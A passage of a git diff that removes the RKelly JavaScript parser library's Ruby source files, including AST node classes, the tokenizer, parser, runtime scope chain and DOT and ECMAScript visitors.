FunctionDeclNode < FunctionExprNode - end - end -end diff --git a/lib/rkelly/nodes/function_expr_node.rb b/lib/rkelly/nodes/function_expr_node.rb deleted file mode 100644 index 503c01cea1..0000000000 --- a/lib/rkelly/nodes/function_expr_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class FunctionExprNode < Node - attr_reader :function_body, :arguments - def initialize(name, body, args = []) - super(name) - @function_body = body - @arguments = args - end - end - end -end diff --git a/lib/rkelly/nodes/if_node.rb b/lib/rkelly/nodes/if_node.rb deleted file mode 100644 index 260940169d..0000000000 --- a/lib/rkelly/nodes/if_node.rb +++ /dev/null @@ -1,12 +0,0 @@ -module RKelly - module Nodes - class IfNode < Node - attr_reader :conditions, :else - def initialize(conditions, value, else_stmt = nil) - super(value) - @conditions = conditions - @else = else_stmt - end - end - end -end diff --git a/lib/rkelly/nodes/label_node.rb b/lib/rkelly/nodes/label_node.rb deleted file mode 100644 index fe548dd0cc..0000000000 --- a/lib/rkelly/nodes/label_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class LabelNode < Node - attr_reader :name - def initialize(name, value) - super(value) - @name = name - end - end - end -end diff --git a/lib/rkelly/nodes/new_expr_node.rb b/lib/rkelly/nodes/new_expr_node.rb deleted file mode 100644 index de7ed3d4dc..0000000000 --- a/lib/rkelly/nodes/new_expr_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class NewExprNode < Node - attr_reader :arguments - def initialize(value, args) - super(value) - @arguments = args - end - end - end -end diff --git a/lib/rkelly/nodes/node.rb b/lib/rkelly/nodes/node.rb deleted file mode 100644 index dd5dcde069..0000000000 --- a/lib/rkelly/nodes/node.rb +++ /dev/null @@ -1,88 +0,0 @@ -module RKelly - module Nodes - class Node - include RKelly::Visitable - include RKelly::Visitors - include Enumerable - - attr_accessor :value, :comments, :line, :filename - def initialize(value) - @value = value - @comments = [] - @filename = @line = nil - end - - def ==(other) - other.is_a?(self.class) && @value == other.value - end - alias :=~ :== - - def ===(other) - other.is_a?(self.class) && @value === other.value - end - - def pointcut(pattern) - case pattern - when String - ast = RKelly::Parser.new.parse(pattern) - # Only take the first statement - finder = ast.value.first.class.to_s =~ /StatementNode$/ ? - ast.value.first.value : ast.value.first - visitor = PointcutVisitor.new(finder) - else - visitor = PointcutVisitor.new(pattern) - end - - visitor.accept(self) - visitor - end - alias :/ :pointcut - - def to_sexp - SexpVisitor.new.accept(self) - end - - def to_ecma - ECMAVisitor.new.accept(self) - end - - def to_dots - visitor = DotVisitor.new - visitor.accept(self) - header = <<-END -digraph g { -graph [ rankdir = "TB" ]; -node [ - fontsize = "16" - shape = "ellipse" -]; -edge [ ]; - END - nodes = visitor.nodes.map { |x| x.to_s }.join("\n") - counter = 0 - arrows = visitor.arrows.map { |x| - s = "#{x} [\nid = #{counter}\n];" - counter += 1 - s - }.join("\n") - "#{header}\n#{nodes}\n#{arrows}\n}" - end - - def each(&block) - EnumerableVisitor.new(block).accept(self) - end - - def to_real_sexp - RealSexpVisitor.new.accept(self) - end - end - - %w[EmptyStatement Parenthetical ExpressionStatement True Delete Return TypeOf - SourceElements Number LogicalNot AssignExpr FunctionBody - ObjectLiteral UnaryMinus Throw This BitwiseNot Element String - Array CaseBlock Null Break Parameter Block False Void Regexp - Arguments Attr Continue ConstStatement UnaryPlus VarStatement].each do |node| - eval "class #{node}Node < Node; end" - end - end -end diff --git a/lib/rkelly/nodes/not_strict_equal_node.rb b/lib/rkelly/nodes/not_strict_equal_node.rb deleted file mode 100644 index 6933d2d2c9..0000000000 --- a/lib/rkelly/nodes/not_strict_equal_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class NotStrictEqualNode < BinaryNode - end - end -end diff --git a/lib/rkelly/nodes/op_equal_node.rb b/lib/rkelly/nodes/op_equal_node.rb deleted file mode 100644 index 2d9fcd462e..0000000000 --- a/lib/rkelly/nodes/op_equal_node.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Nodes - class OpEqualNode < Node - attr_reader :left - def initialize(left, right) - super(right) - @left = left - end - end - - %w[Multiply Divide LShift Minus Plus Mod XOr RShift And URShift Or].each do |node| - eval "class Op#{node}EqualNode < OpEqualNode; end" - end - - end -end diff --git a/lib/rkelly/nodes/postfix_node.rb b/lib/rkelly/nodes/postfix_node.rb deleted file mode 100644 index 90392a2be3..0000000000 --- a/lib/rkelly/nodes/postfix_node.rb +++ /dev/null @@ -1,11 +0,0 @@ -module RKelly - module Nodes - class PostfixNode < Node - attr_reader :operand - def initialize(operand, operator) - super(operator) - @operand = operand - end - end - end -end diff --git a/lib/rkelly/nodes/prefix_node.rb b/lib/rkelly/nodes/prefix_node.rb deleted file mode 100644 index aeb07e96f6..0000000000 --- a/lib/rkelly/nodes/prefix_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class PrefixNode < PostfixNode - end - end -end diff --git a/lib/rkelly/nodes/property_node.rb b/lib/rkelly/nodes/property_node.rb deleted file mode 100644 index 89d45e6869..0000000000 --- a/lib/rkelly/nodes/property_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class PropertyNode < Node - attr_accessor :name - def initialize(name, value) - super(value) - @name = name - end - end - - %w[Getter Setter].each {|node| eval "class #{node}PropertyNode < PropertyNode; end"} - end -end diff --git a/lib/rkelly/nodes/resolve_node.rb b/lib/rkelly/nodes/resolve_node.rb deleted file mode 100644 index 92b4996f7e..0000000000 --- a/lib/rkelly/nodes/resolve_node.rb +++ /dev/null @@ -1,19 +0,0 @@ -module RKelly - module Nodes - class ResolveNode < Node - def ==(other) - return true if super - if @value =~ /^[A-Z]/ - place = [Object, Module, RKelly::Nodes].find { |x| - x.const_defined?(@value.to_sym) - } - return false unless place - klass = place.const_get(@value.to_sym) - return true if klass && other.is_a?(klass) || other.value.is_a?(klass) - end - false - end - alias :=~ :== - end - end -end diff --git a/lib/rkelly/nodes/strict_equal_node.rb b/lib/rkelly/nodes/strict_equal_node.rb deleted file mode 100644 index fa1172e09f..0000000000 --- a/lib/rkelly/nodes/strict_equal_node.rb +++ /dev/null @@ -1,6 +0,0 @@ -module RKelly - module Nodes - class StrictEqualNode < BinaryNode - end - end -end diff --git a/lib/rkelly/nodes/try_node.rb b/lib/rkelly/nodes/try_node.rb deleted file mode 100644 index 2e45ae27a4..0000000000 --- a/lib/rkelly/nodes/try_node.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - module Nodes - class TryNode < Node - attr_reader :catch_var, :catch_block, :finally_block - def initialize(value, catch_var, catch_block, finally_block = nil) - super(value) - @catch_var = catch_var - @catch_block = catch_block - @finally_block = finally_block - end - end - end -end diff --git a/lib/rkelly/nodes/var_decl_node.rb b/lib/rkelly/nodes/var_decl_node.rb deleted file mode 100644 index 8034246628..0000000000 --- a/lib/rkelly/nodes/var_decl_node.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - module Nodes - class VarDeclNode < Node - attr_accessor :name, :type - def initialize(name, value, constant = false) - super(value) - @name = name - @constant = constant - end - - def constant?; @constant; end - def variable?; !@constant; end - end - end -end diff --git a/lib/rkelly/parser.rb b/lib/rkelly/parser.rb deleted file mode 100644 index 920de83fd1..0000000000 --- a/lib/rkelly/parser.rb +++ /dev/null @@ -1,104 +0,0 @@ -require 'rkelly/tokenizer' -require 'rkelly/generated_parser' - - -module RKelly - class Parser < RKelly::GeneratedParser - TOKENIZER = Tokenizer.new - - RKelly::GeneratedParser.instance_methods.each do |im| - next unless im.to_s =~ /^_reduce_\d+$/ - eval(<<-eoawesomehack) - def #{im}(val, _values, result) - r = super(val.map { |v| - v.is_a?(Token) ? v.to_racc_token[1] : v - }, _values, result) - if token = val.find { |v| v.is_a?(Token) } - r.line = token.line if r.respond_to?(:line) - r.filename = @filename if r.respond_to?(:filename) - end - r - end - eoawesomehack - end - - attr_accessor :logger - def initialize - @tokens = [] - @logger = nil - @terminator = false - @prev_token = nil - @comments = [] - end - - # Parse +javascript+ and return an AST - def parse(javascript, filename = nil) - @tokens = TOKENIZER.raw_tokens(javascript) - @position = 0 - @filename = filename - ast = do_parse - apply_comments(ast) - end - - def yyabort - raise "something bad happened, please report a bug with sample JavaScript" - end - - private - def apply_comments(ast) - ast_hash = Hash.new { |h,k| h[k] = [] } - (ast || []).each { |n| - next unless n.line - ast_hash[n.line] << n - } - max = ast_hash.keys.sort.last - @comments.each do |comment| - node = nil - comment.line.upto(max) do |line| - if ast_hash.key?(line) - node = ast_hash[line].first - break - end - end - node.comments << comment if node - end if max - ast - end - - def on_error(error_token_id, error_value, value_stack) - if logger - logger.error(token_to_str(error_token_id)) - logger.error("error value: #{error_value}") - logger.error("error stack: #{value_stack}") - end - end - - def next_token - @terminator = false - begin - return [false, false] if @position >= @tokens.length - n_token = @tokens[@position] - @position += 1 - case @tokens[@position - 1].name - when :COMMENT - @comments << n_token - @terminator = true if n_token.value =~ /^\/\// - when :S - @terminator = true if n_token.value =~ /[\r\n]/ - end - end while([:COMMENT, :S].include?(n_token.name)) - - if @terminator && - ((@prev_token && %w[continue break return throw].include?(@prev_token.value)) || - (n_token && %w[++ --].include?(n_token.value))) - @position -= 1 - return (@prev_token = RKelly::Token.new(';', ';')).to_racc_token - end - - @prev_token = n_token - v = n_token.to_racc_token - v[1] = n_token - v - end - end -end diff --git a/lib/rkelly/runtime.rb b/lib/rkelly/runtime.rb deleted file mode 100644 index d7a314fb55..0000000000 --- a/lib/rkelly/runtime.rb +++ /dev/null @@ -1,36 +0,0 @@ -require 'rkelly/js' -require 'rkelly/runtime/scope_chain' - -module RKelly - class Runtime - UNDEFINED = RKelly::JS::Property.new(:undefined, :undefined) - - def initialize - @parser = Parser.new - @scope = ScopeChain.new - end - - # Execute +js+ - def execute(js) - function_visitor = Visitors::FunctionVisitor.new(@scope) - eval_visitor = Visitors::EvaluationVisitor.new(@scope) - tree = @parser.parse(js) - function_visitor.accept(tree) - eval_visitor.accept(tree) - @scope - end - - def call_function(function_name, *args) - function = @scope[function_name].value - @scope.new_scope { |chain| - function.js_call(chain, *(args.map { |x| - RKelly::JS::Property.new(:param, x) - })) - }.value - end - - def define_function(function, &block) - @scope[function.to_s].function = block - end - end -end diff --git a/lib/rkelly/runtime/ruby_function.rb b/lib/rkelly/runtime/ruby_function.rb deleted file mode 100644 index 741cb10758..0000000000 --- a/lib/rkelly/runtime/ruby_function.rb +++ /dev/null @@ -1,13 +0,0 @@ -module RKelly - class Runtime - class RubyFunction - def initialize(&block) - @code = block - end - - def call(chain, *args) - @code.call(*args) - end - end - end -end diff --git a/lib/rkelly/runtime/scope_chain.rb b/lib/rkelly/runtime/scope_chain.rb deleted file mode 100644 index 76cb2bd5b5..0000000000 --- a/lib/rkelly/runtime/scope_chain.rb +++ /dev/null @@ -1,57 +0,0 @@ -module RKelly - class Runtime - class ScopeChain - include RKelly::JS - - def initialize(scope = Scope.new) - @chain = [GlobalObject.new] - end - - def <<(scope) - @chain << scope - end - - def has_property?(name) - scope = @chain.reverse.find { |x| - x.has_property?(name) - } - scope ? scope[name] : nil - end - - def [](name) - property = has_property?(name) - return property if property - @chain.last.properties[name] - end - - def []=(name, value) - @chain.last.properties[name] = value - end - - def pop - @chain.pop - end - - def this - @chain.last - end - - def new_scope(&block) - @chain << Scope.new - result = yield(self) - @chain.pop - result - end - - def return=(value) - @chain.last.return = value - end - - def return; @chain.last.return; end - - def returned? - @chain.last.returned? - end - end - end -end diff --git a/lib/rkelly/syntax_error.rb b/lib/rkelly/syntax_error.rb deleted file mode 100644 index f14a1a569e..0000000000 --- a/lib/rkelly/syntax_error.rb +++ /dev/null @@ -1,4 +0,0 @@ -module RKelly - class SyntaxError < ::SyntaxError - end -end diff --git a/lib/rkelly/token.rb b/lib/rkelly/token.rb deleted file mode 100644 index 556817ac8a..0000000000 --- a/lib/rkelly/token.rb +++ /dev/null @@ -1,15 +0,0 @@ -module RKelly - class Token - attr_accessor :name, :value, :transformer, :line - def initialize(name, value, &transformer) - @name = name - @value = value - @transformer = transformer - end - - def to_racc_token - return transformer.call(name, value) if transformer - [name, value] - end - end -end diff --git a/lib/rkelly/tokenizer.rb b/lib/rkelly/tokenizer.rb deleted file mode 100644 index 21ad0803f3..0000000000 --- a/lib/rkelly/tokenizer.rb +++ /dev/null @@ -1,136 +0,0 @@ -require 'rkelly/lexeme' - -module RKelly - class Tokenizer - KEYWORDS = %w{ - break case catch continue default delete do else finally for function - if in instanceof new return switch this throw try typeof var void while - with - - const true false null debugger - } - - RESERVED = %w{ - abstract boolean byte char class double enum export extends - final float goto implements import int interface long native package - private protected public short static super synchronized throws - transient volatile - } - - LITERALS = { - # Punctuators - '==' => :EQEQ, - '!=' => :NE, - '===' => :STREQ, - '!==' => :STRNEQ, - '<=' => :LE, - '>=' => :GE, - '||' => :OR, - '&&' => :AND, - '++' => :PLUSPLUS, - '--' => :MINUSMINUS, - '<<' => :LSHIFT, - '<<=' => :LSHIFTEQUAL, - '>>' => :RSHIFT, - '>>=' => :RSHIFTEQUAL, - '>>>' => :URSHIFT, - '>>>='=> :URSHIFTEQUAL, - '&=' => :ANDEQUAL, - '%=' => :MODEQUAL, - '^=' => :XOREQUAL, - '|=' => :OREQUAL, - '+=' => :PLUSEQUAL, - '-=' => :MINUSEQUAL, - '*=' => :MULTEQUAL, - '/=' => :DIVEQUAL, - } - - TOKENS_THAT_IMPLY_DIVISION = [:IDENT, :NUMBER, ')', ']', '}'] - - def initialize(&block) - @lexemes = [] - - token(:COMMENT, /\A\/(?:\*(?:.)*?\*\/|\/[^\n]*)/m) - token(:STRING, /\A"(?:[^"\\]*(?:\\.[^"\\]*)*)"|\A'(?:[^'\\]*(?:\\.[^'\\]*)*)'/m) - - # A regexp to match floating point literals (but not integer literals). - token(:NUMBER, /\A\d+\.\d*(?:[eE][-+]?\d+)?|\A\d+(?:\.\d*)?[eE][-+]?\d+|\A\.\d+(?:[eE][-+]?\d+)?/m) do |type, value| - value.gsub!(/\.(\D)/, '.0\1') if value =~ /\.\w/ - value.gsub!(/\.$/, '.0') if value =~ /\.$/ - value.gsub!(/^\./, '0.') if value =~ /^\./ - [type, eval(value)] - end - token(:NUMBER, /\A0[xX][\da-fA-F]+|\A0[0-7]*|\A\d+/) do |type, value| - [type, eval(value)] - end - - token(:LITERALS, - Regexp.new(LITERALS.keys.sort_by { |x| - x.length - }.reverse.map { |x| "\\A#{x.gsub(/([|+*^])/, '\\\\\1')}" }.join('|') - )) do |type, value| - [LITERALS[value], value] - end - - token(:IDENT, /\A([_\$A-Za-z][_\$0-9A-Za-z]*)/) do |type,value| - if KEYWORDS.include?(value) - [value.upcase.to_sym, value] - elsif RESERVED.include?(value) - [:RESERVED, value] - else - [type, value] - end - end - - token(:REGEXP, /\A\/(?:[^\/\r\n\\]*(?:\\[^\r\n][^\/\r\n\\]*)*)\/[gi]*/) - token(:S, /\A[\s\r\n]*/m) - - token(:SINGLE_CHAR, /\A./) do |type, value| - [value, value] - end - end - - def tokenize(string) - raw_tokens(string).map { |x| x.to_racc_token } - end - - def raw_tokens(string) - tokens = [] - line_number = 1 - accepting_regexp = true - while string.length > 0 - longest_token = nil - - @lexemes.each { |lexeme| - next if lexeme.name == :REGEXP && !accepting_regexp - - match = lexeme.match(string) - next if match.nil? - longest_token = match if longest_token.nil? - next if longest_token.value.length >= match.value.length - longest_token = match - } - - accepting_regexp = followable_by_regex(longest_token) - - longest_token.line = line_number - line_number += longest_token.value.scan(/\n/).length - string = string.slice(Range.new(longest_token.value.length, -1)) - tokens << longest_token - end - tokens - end - - private - def token(name, pattern = nil, &block) - @lexemes << Lexeme.new(name, pattern, &block) - end - - def followable_by_regex(current_token) - name = current_token.name - name = current_token.value if name == :SINGLE_CHAR - #the tokens that imply division vs. start of regex form a disjoint set - !TOKENS_THAT_IMPLY_DIVISION.include?(name) - end - end -end diff --git a/lib/rkelly/visitable.rb b/lib/rkelly/visitable.rb deleted file mode 100644 index b57c8b0294..0000000000 --- a/lib/rkelly/visitable.rb +++ /dev/null @@ -1,16 +0,0 @@ -module RKelly - module Visitable - # Based off the visitor pattern from RubyGarden - def accept(visitor, &block) - klass = self.class.ancestors.find { |ancestor| - visitor.respond_to?("visit_#{ancestor.name.split(/::/)[-1]}") - } - - if klass - visitor.send(:"visit_#{klass.name.split(/::/)[-1]}", self, &block) - else - raise "No visitor for '#{self.class}'" - end - end - end -end diff --git a/lib/rkelly/visitors.rb b/lib/rkelly/visitors.rb deleted file mode 100644 index d665245f1b..0000000000 --- a/lib/rkelly/visitors.rb +++ /dev/null @@ -1,4 +0,0 @@ -require 'rkelly/visitors/visitor' -Dir[File.join(File.dirname(__FILE__), "visitors/*_visitor.rb")].each do |file| - require file[/rkelly\/visitors\/.*/] -end diff --git a/lib/rkelly/visitors/dot_visitor.rb b/lib/rkelly/visitors/dot_visitor.rb deleted file mode 100644 index 25a3b94e5f..0000000000 --- a/lib/rkelly/visitors/dot_visitor.rb +++ /dev/null @@ -1,228 +0,0 @@ -module RKelly - module Visitors - class DotVisitor < Visitor - class Node < Struct.new(:node_id, :fields) - ESCAPE = /([<>"\\])/ - def to_s - counter = 0 - label = fields.map { |f| - s = " #{f.to_s.gsub(ESCAPE, '\\\\\1').gsub(/[\r\n]/,' ')}" - counter += 1 - s - }.join('|') - "\"#{node_id}\" [\nlabel = \"#{label}\"\nshape = \"record\"\n];" - end - end - - class Arrow < Struct.new(:from, :to, :label) - def to_s - "\"#{from.node_id}\":f0 -> \"#{to.node_id}\":f0" - end - end - - attr_reader :nodes, :arrows - def initialize - @stack = [] - @node_index = 0 - @nodes = [] - @arrows = [] - end - - ## Terminal nodes - %w{ - BreakNode ContinueNode EmptyStatementNode FalseNode - NullNode NumberNode ParameterNode RegexpNode ResolveNode StringNode - ThisNode TrueNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value].compact) - add_arrow_for(node) - @nodes << node - end - end - ## End Terminal nodes - - # Single value nodes - %w{ - AssignExprNode BitwiseNotNode BlockNode DeleteNode ElementNode - ExpressionStatementNode FunctionBodyNode LogicalNotNode ReturnNode - ThrowNode TypeOfNode UnaryMinusNode UnaryPlusNode VoidNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.accept(self) - @stack.pop - end - end - # End Single value nodes - - # Binary nodes - %w{ - AddNode BitAndNode BitOrNode BitXOrNode CaseClauseNode CommaNode - DivideNode DoWhileNode EqualNode GreaterNode GreaterOrEqualNode InNode - InstanceOfNode LeftShiftNode LessNode LessOrEqualNode LogicalAndNode - LogicalOrNode ModulusNode MultiplyNode NotEqualNode NotStrictEqualNode - OpAndEqualNode OpDivideEqualNode OpEqualNode OpLShiftEqualNode - OpMinusEqualNode OpModEqualNode OpMultiplyEqualNode OpOrEqualNode - OpPlusEqualNode OpRShiftEqualNode OpURShiftEqualNode OpXOrEqualNode - RightShiftNode StrictEqualNode SubtractNode SwitchNode - UnsignedRightShiftNode WhileNode WithNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.left && o.left.accept(self) - o.value && o.value.accept(self) - @stack.pop - end - end - # End Binary nodes - - # Array Value Nodes - %w{ - ArgumentsNode ArrayNode CaseBlockNode ConstStatementNode - ObjectLiteralNode SourceElementsNode VarStatementNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.each { |v| v && v.accept(self) } - @stack.pop - end - end - # END Array Value Nodes - - # Name and Value Nodes - %w{ - LabelNode PropertyNode GetterPropertyNode SetterPropertyNode VarDeclNode - }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.name || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.value && o.value.accept(self) - @stack.pop - end - end - # END Name and Value Nodes - - %w{ PostfixNode PrefixNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.operand && o.operand.accept(self) - @stack.pop - end - end - - def visit_ForNode(o) - node = Node.new(@node_index += 1, ['ForNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:init, :test, :counter, :value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - %w{ IfNode ConditionalNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:conditions, :value, :else].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - end - - def visit_ForInNode(o) - node = Node.new(@node_index += 1, ['ForInNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:left, :right, :value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - def visit_TryNode(o) - node = Node.new(@node_index += 1, ['TryNode', o.catch_var || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :catch_block, :finally_block].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - def visit_BracketAccessorNode(o) - node = Node.new(@node_index += 1, ['BracketAccessorNode']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :accessor].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - %w{ NewExprNode FunctionCallNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value, :arguments].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - end - - %w{ FunctionExprNode FunctionDeclNode }.each do |type| - define_method(:"visit_#{type}") do |o| - node = Node.new(@node_index += 1, [type, o.value || 'NULL']) - add_arrow_for(node) - @nodes << node - @stack.push(node) - o.arguments.each { |a| a && a.accept(self) } - o.function_body && o.function_body.accept(self) - @stack.pop - end - end - - def visit_DotAccessorNode(o) - node = Node.new(@node_index += 1, ['DotAccessorNode', o.accessor]) - add_arrow_for(node) - @nodes << node - @stack.push(node) - [:value].each do |method| - o.send(method) && o.send(method).accept(self) - end - @stack.pop - end - - private - def add_arrow_for(node, label = nil) - @arrows << Arrow.new(@stack.last, node, label) if @stack.length > 0 - end - - end - end -end diff --git a/lib/rkelly/visitors/ecma_visitor.rb b/lib/rkelly/visitors/ecma_visitor.rb deleted file mode 100644 index 265f792a49..0000000000 --- a/lib/rkelly/visitors/ecma_visitor.rb +++ /dev/null @@ -1,327 +0,0 @@ -module RKelly - module Visitors - class ECMAVisitor < Visitor - def initialize - @indent = 0 - end - - def visit_ParentheticalNode(o) - "(#{o.value.accept(self)})" - end - - def visit_SourceElementsNode(o) - o.value.map { |x| "#{indent}#{x.accept(self)}" }.join("\n") - end - - def visit_VarStatementNode(o) - "var #{o.value.map { |x| x.accept(self) }.join(', ')};" - end - - def visit_ConstStatementNode(o) - "const #{o.value.map { |x| x.accept(self) }.join(', ')};" - end - - def visit_VarDeclNode(o) - "#{o.name}#{o.value ? o.value.accept(self) : nil}" - end - - def visit_AssignExprNode(o) - " = #{o.value.accept(self)}" - end - - def visit_NumberNode(o) - o.value.to_s - end - - def visit_ForNode(o) - init = o.init ? o.init.accept(self) : ';' - test = o.test ? o.test.accept(self) : '' - counter = o.counter ? o.counter.accept(self) : '' - # VarStatementNodes will have a ; appended automatically, but other - # expressions won't, so make sure it's there - if init[-1,1] != ';' - init += ';' - end - "for(#{init} #{test}; #{counter}) #{o.value.accept(self)}" - end - - def visit_LessNode(o) - "#{o.left.accept(self)} < #{o.value.accept(self)}" - end - - def visit_ResolveNode(o) - o.value - end - - def visit_PostfixNode(o) - "#{o.operand.accept(self)}#{o.value}" - end - - def visit_PrefixNode(o) - "#{o.value}#{o.operand.accept(self)}" - end - - def visit_BlockNode(o) - @indent += 1 - "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}" - end - - def visit_ExpressionStatementNode(o) - "#{o.value.accept(self)};" - end - - def visit_OpEqualNode(o) - "#{o.left.accept(self)} = #{o.value.accept(self)}" - end - - def visit_FunctionCallNode(o) - "#{o.value.accept(self)}(#{o.arguments.accept(self)})" - end - - def visit_ArgumentsNode(o) - o.value.map { |x| x.accept(self) }.join(', ') - end - - def visit_StringNode(o) - o.value - end - - def visit_NullNode(o) - "null" - end - - def visit_FunctionDeclNode(o) - "#{indent}function #{o.value}(" + - "#{o.arguments.map { |x| x.accept(self) }.join(', ')})" + - "#{o.function_body.accept(self)}" - end - - def visit_ParameterNode(o) - o.value - end - - def visit_FunctionBodyNode(o) - @indent += 1 - "{\n#{o.value.accept(self)}\n#{@indent -=1; indent}}" - end - - def visit_BreakNode(o) - "break" + (o.value ? " #{o.value}" : '') + ';' - end - - def visit_ContinueNode(o) - "continue" + (o.value ? " #{o.value}" : '') + ';' - end - - def visit_TrueNode(o) - "true" - end - - def visit_FalseNode(o) - "false" - end - - def visit_EmptyStatementNode(o) - ';' - end - - def visit_RegexpNode(o) - o.value - end - - def visit_DotAccessorNode(o) - "#{o.value.accept(self)}.#{o.accessor}" - end - - def visit_ThisNode(o) - "this" - end - - def visit_BitwiseNotNode(o) - "~#{o.value.accept(self)}" - end - - def visit_DeleteNode(o) - "delete #{o.value.accept(self)}" - end - - def visit_ArrayNode(o) - "[#{o.value.map { |x| x ? x.accept(self) : '' }.join(', ')}]" - end - - def visit_ElementNode(o) - o.value.accept(self) - end - - def visit_LogicalNotNode(o) - "!#{o.value.accept(self)}" - end - - def visit_UnaryMinusNode(o) - "-#{o.value.accept(self)}" - end - - def visit_UnaryPlusNode(o) - "+#{o.value.accept(self)}" - end - - def visit_ReturnNode(o) - "return" + (o.value ? " #{o.value.accept(self)}" : '') + ';' - end - - def visit_ThrowNode(o) - "throw #{o.value.accept(self)};" - end - - def visit_TypeOfNode(o) - "typeof #{o.value.accept(self)}" - end - - def visit_VoidNode(o) - "void(#{o.value.accept(self)})" - end - - [ - [:Add, '+'], - [:BitAnd, '&'], - [:BitOr, '|'], - [:BitXOr, '^'], - [:Divide, '/'], - [:Equal, '=='], - [:Greater, '>'], - [:Greater, '>'], - [:GreaterOrEqual, '>='], - [:GreaterOrEqual, '>='], - [:In, 'in'], - [:InstanceOf, 'instanceof'], - [:LeftShift, '<<'], - [:LessOrEqual, '<='], - [:LogicalAnd, '&&'], - [:LogicalOr, '||'], - [:Modulus, '%'], - [:Multiply, '*'], - [:NotEqual, '!='], - [:NotStrictEqual, '!=='], - [:OpAndEqual, '&='], - [:OpDivideEqual, '/='], - [:OpLShiftEqual, '<<='], - [:OpMinusEqual, '-='], - [:OpModEqual, '%='], - [:OpMultiplyEqual, '*='], - [:OpOrEqual, '|='], - [:OpPlusEqual, '+='], - [:OpRShiftEqual, '>>='], - [:OpURShiftEqual, '>>>='], - [:OpXOrEqual, '^='], - [:RightShift, '>>'], - [:StrictEqual, '==='], - [:Subtract, '-'], - [:UnsignedRightShift, '>>>'], - ].each do |name,op| - define_method(:"visit_#{name}Node") do |o| - "#{o.left.accept(self)} #{op} #{o.value.accept(self)}" - end - end - - def visit_WhileNode(o) - "while(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_SwitchNode(o) - "switch(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_CaseBlockNode(o) - @indent += 1 - "{\n" + (o.value ? o.value.map { |x| x.accept(self) }.join('') : '') + - "#{@indent -=1; indent}}" - end - - def visit_CaseClauseNode(o) - if o.left - case_code = "#{indent}case #{o.left.accept(self)}:\n" - else - case_code = "#{indent}default:\n" - end - @indent += 1 - case_code += "#{o.value.accept(self)}\n" - @indent -= 1 - case_code - end - - def visit_DoWhileNode(o) - "do #{o.left.accept(self)} while(#{o.value.accept(self)});" - end - - def visit_WithNode(o) - "with(#{o.left.accept(self)}) #{o.value.accept(self)}" - end - - def visit_LabelNode(o) - "#{o.name}: #{o.value.accept(self)}" - end - - def visit_ObjectLiteralNode(o) - @indent += 1 - lit = "{" + (o.value.length > 0 ? "\n" : ' ') + - o.value.map { |x| "#{indent}#{x.accept(self)}" }.join(",\n") + - (o.value.length > 0 ? "\n" : '') + '}' - @indent -= 1 - lit - end - - def visit_PropertyNode(o) - "#{o.name}: #{o.value.accept(self)}" - end - - def visit_GetterPropertyNode(o) - "get #{o.name}#{o.value.accept(self)}" - end - - def visit_SetterPropertyNode(o) - "set #{o.name}#{o.value.accept(self)}" - end - - def visit_FunctionExprNode(o) - "#{o.value}(#{o.arguments.map { |x| x.accept(self) }.join(', ')}) " + - "#{o.function_body.accept(self)}" - end - - def visit_CommaNode(o) - "#{o.left.accept(self)}, #{o.value.accept(self)}" - end - - def visit_IfNode(o) - "if(#{o.conditions.accept(self)}) #{o.value.accept(self)}" + - (o.else ? " else #{o.else.accept(self)}" : '') - end - - def visit_ConditionalNode(o) - "#{o.conditions.accept(self)} ? #{o.value.accept(self)} : " + - "#{o.else.accept(self)}" - end - - def visit_ForInNode(o) - "for(#{o.left.accept(self)} in #{o.right.accept(self)}) " + - "#{o.value.accept(self)}" - end - - def visit_TryNode(o) - "try #{o.value.accept(self)}" + - (o.catch_block ? " catch(#{o.catch_var}) #{o.catch_block.accept(self)}" : '') + - (o.finally_block ? " finally #{o.finally_block.accept(self)}" : '') - end - - def visit_BracketAccessorNode(o) - "#{o.value.accept(self)}[#{o.accessor.accept(self)}]" - end - - def visit_NewExprNode(o) - "new 